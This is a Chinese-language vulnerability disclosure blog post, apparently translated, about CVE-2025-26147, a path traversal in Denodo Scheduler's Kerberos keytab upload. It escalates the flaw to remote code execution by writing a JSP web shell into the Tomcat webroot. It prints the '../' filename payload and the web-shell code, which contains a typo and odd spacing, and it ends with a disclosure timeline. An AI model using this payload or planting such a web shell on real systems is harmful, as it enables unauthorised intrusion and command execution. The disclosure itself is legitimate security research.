介绍
受影响产品摘要
Denodo提供一系列逻辑数据管理软件。
本博客重点介绍一款名为“Scheduler”的软件。Denodo Scheduler 可以调度和执行数据提取和集成作业。
受影响产品摘要
供应商:Denodo
产品:Denodo Scheduler
已确认易受攻击的版本: v8.0.202309140
修复版本:Denodo 8.0:denodo-v80-update-20240307
Denodo Scheduler:基于时间的作业调度程序
Denodo Scheduler 是一个用 Java 编写的 Web 应用程序。该 Web 应用程序包含管理功能,允许管理员配置服务器、数据库并指定身份验证形式。
在 Scheduler 的身份验证设置中,管理员可以配置通过 Kerberos 进行身份验证。Kerberos 是一种网络身份验证协议,它使用票证和对称密钥加密技术,允许在不安全的网络上进行安全身份验证。Web 应用程序允许管理员上传“Keytab”文件。Kerberos中的Keytab (密钥表)文件用于存储服务主体凭据(加密密钥),无需密码即可进行身份验证。
当使用 HTTP 代理拦截时,上传“Keytab”文件的 HTTP 请求是一个多部分表单数据 POST 请求。在“Content-Depsoition”HTTP 标头中,Web 应用程序分别发送表单名称“keyTabFile”和文件名“filename”。在“filename”属性的值中发现了路径遍历攻击漏洞。路径遍历攻击(也称为目录遍历)旨在访问存储在 Web 根文件夹之外的文件和目录。
通过操纵引用带有“点-点-斜杠 (../)”序列及其变体的文件的变量,或使用绝对文件路径,攻击者可能能够访问存储在文件系统中的任意文件和目录。具体来说,对于 CVE-2025-26147 漏洞,Kerberos“Keytab”文件上传请求中的有效载荷允许恶意用户将文件上传到服务器文件系统中的(几乎)任何位置:
filename=”../../../../opt/denodo/malicious.file.txt”
然而,文件上传时,时间戳会被附加到文件名中。例如,如果上传了之前的“文件名”,则会在系统上创建以下文件:
malicious.file-1711156561716.txt
带有时间戳的文件名已通过 HTTP 响应提供给用户,无需猜测时间戳。但是,需要找到另一条远程代码执行路径。
带有时间戳的文件名。升级到远程代码执行
有了将任意文件写入文件系统的能力,现在是时候枚举文件系统来确定恶意文件在哪里影响最大,并希望导致代码执行。
如前所述,该应用程序和部署环境均采用 Java 编写。具体来说,Web 服务器是 Apache Tomcat。
Apache Tomcat (简称“Tomcat”)是一个免费开源的“纯Java”HTTP Web服务器环境实现,其中Java代码也可以运行。
使用 Linux 命令行程序“find”和“grep”,在文件系统上发现了 Apache Tomcat Web 根目录。
/path/to/webroot/resources/apache-tomcat/webapps/ROOT/
下一步是创建 Java Web Shell。Java Web Shell(基于 JSP)是一种恶意或管理脚本,允许在运行 JavaServer Pages(JSP)的 Web 服务器上执行远程代码。
下面是一个 Java Web Shell 的示例,执行时将运行提供给 GET HTTP 请求 URL 查询参数“cmd”的命令。
< % String cmd = request.getParameter ( " cmd " ) ; if ( cmd ! = null ) { Process p = Runtime.getRuntime ( ) . exec ( cmd ) ; java.io.InputStream is = p.getInputStream ( ) ; java.util.Scanner s = new java.util.Scanner ( is ) .useDelimiter ( " \ A " ) ; String output = s.hasNext ( ) ? s.next ( ) : " " ; respond.getWriter ( ) . println ( output ) ; } % >
上传 Java Web Shell 后,用户可以通过访问该 Web Shell 来远程执行命令。下图显示了执行“id”命令的结果。
执行“id”命令的示例。
结论
本博客重点介绍了如何利用一个看似简单的漏洞升级实现远程代码执行,并强调了在所有软件开发中采用防御性编码方法的重要性,以确保最终用户服务的机密性、完整性和可用性。此漏洞由 John De Armas 和 Morgan Backus 发现。
当我们向 Denodo 反映这些问题后,我们非常感谢他们迅速做出反应并进行处理。
漏洞披露时间表
2024年4月9日 Rhino 向 Denodo 披露了该漏洞。
2024年4月23日 Denodo 收到并承认了该漏洞。
2024年4月23日 Denodo 发布了针对该漏洞的补丁。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...